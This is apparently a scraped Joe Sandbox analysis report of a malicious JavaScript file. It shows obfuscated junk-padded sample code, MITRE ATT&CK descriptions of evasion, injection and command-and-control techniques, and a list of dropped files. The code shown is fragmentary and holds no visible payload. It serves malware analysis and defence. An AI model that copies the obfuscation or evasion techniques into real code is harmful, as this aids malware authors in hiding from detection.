1167	owbzetgf = "k";
1168	owbzetgf = "b";
1169	owbzetgf = "d";
1170	owbzetgf = "q";
1171	owbzetgf = "Y";
1172	owbzetgf = "w";
1173	owbzetgf = "B";
1174	owbzetgf = "M";
1175	owbzetgf = "K";
1176	owbzetgf = "h";
1177	owbzetgf = "h";
1178	owbzetgf = "S";
1179	owbzetgf = "A";
1180	owbzetgf = "P";
1181	owbzetgf = "r";
1182	owbzetgf = "K";
1183	owbzetgf = "T";
1184	owbzetgf = "n";
1185	owbzetgf = "h";
1186	owbzetgf = "q";
1187	owbzetgf = "2";
1188	mjzxaqyvd = "P";
1189	mjzxaqyvd = "P";
1190	mjzxaqyvd = "C";
1191	mjzxaqyvd = "U";
1192	mjzxaqyvd = "O";
1193	mjzxaqyvd = "b";
1194	mjzxaqyvd = "H";
1195	mjzxaqyvd = "J";
1196	mjzxaqyvd = "u";
1197	mjzxaqyvd = "h";
1198	mjzxaqyvd = "u";
1199	mjzxaqyvd = "H";
1200	mjzxaqyvd = "O";
1201	mjzxaqyvd = "g";
1202	mjzxaqyvd = "u";
1203	mjzxaqyvd = "r";
1204	mjzxaqyvd = "W";
1205	mjzxaqyvd = "m";
1206	mjzxaqyvd = "l";
1207	mjzxaqyvd = "x";
1208	mjzxaqyvd = "d";
1209	mjzxaqyvd = "M";
1210	mjzxaqyvd = "H";
1211	mjzxaqyvd = "F";
1212	mjzxaqyvd = "c";
1213	mjzxaqyvd = "6";
1214	sbwhyb = "K";
1215	sbwhyb = "Q";
1216	sbwhyb = "k";
1217	sbwhyb = "k";
1218	sbwhyb = "e";
1219	sbwhyb = "Y";
1220	sbwhyb = "C";
1221	sbwhyb = "I";
1222	sbwhyb = "z";
1223	sbwhyb = "R";
1224	sbwhyb = "t";
1225	sbwhyb = "n";
1226	sbwhyb = "n";
1227	sbwhyb = "H";
1228	sbwhyb = "u";
1229	sbwhyb = "c";
1230	sbwhyb = "k";
1231	sbwhyb = "h";
1232	sbwhyb = "n";
1233	sbwhyb = "K";
1234	sbwhyb = "O";
1235	sbwhyb = "p";
1236	sbwhyb = "q";
1237	sbwhyb = "R";
1238	sbwhyb = "T";
1239	sbwhyb = "U";
1240	sbwhyb = "d";
1241	sbwhyb = "Y";
1242	sbwhyb = "f";
1243	sbwhyb = "h";
1244	sbwhyb = "K";
1245	sbwhyb = "T";
1246	sbwhyb = "W";
1247	kqyacs = "g";
1248	kqyacs = "j";
1249	kqyacs = "r";
1250	kqyacs = "N";
1251	kqyacs = "E";
1252	kqyacs = "t";
1253	kqyacs = "A";
1254	kqyacs = "B";
1255	kqyacs = "R";
1256	kqyacs = "Z";
1257	kqyacs = "y";
1258	kqyacs = "q";
1259	kqyacs = "T";
1260	kqyacs = "T";
1261	kqyacs = "N";
1262	kqyacs = "Q";
1263	kqyacs = "U";
1264	xxyrgxf = "W";
1265	xxyrgxf = "S";
1266	xxyrgxf = "x";
1267	xxyrgxf = "s";
1268	xxyrgxf = "P";
1269	xxyrgxf = "M";
1270	xxyrgxf = "Y";
1271	xxyrgxf = "k";
1272	xxyrgxf = "o";
1273	xxyrgxf = "F";
1274	xxyrgxf = "a";
1275	xxyrgxf = "K";
1276	xxyrgxf = "V";
1277	xxyrgxf = "d";
1278	xxyrgxf = "R";
1279	xxyrgxf = "Y";
1280	xxyrgxf = "c";
1281	xxyrgxf = "k";
1282	xxyrgxf = "r";
1283	xxyrgxf = "5";
1284	vqcywl = "b";
1285	vqcywl = "W";
1286	vqcywl = "I";
1287	vqcywl = "i";
1288	vqcywl = "J";
1289	vqcywl = "a";
1290	vqcywl = "A";
1291	vqcywl = "k";
1292	vqcywl = "W";
1293	vqcywl = "d";
1294	vqcywl = "n";
1295	vqcywl = "Q";
1296	vqcywl = "z";
1297	vqcywl = "H";
1298	vqcywl = "J";
1299	vqcywl = "v";
1300	vqcywl = "T";
1301	vqcywl = "W";
1302	vqcywl = "n";
1303	vqcywl = "i";
1304	vqcywl = "s";
1305	vqcywl = "K";
1306	vqcywl = "L";
1307	eatlz ( );	eatlz() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 37422659297833858.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\73b8d143-99a2-4f8b-bdcd-4e4a6203d387.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7554feae-cf66-4224-a53e-4c7a9d49c481.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF54c654.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
37422659297833858.js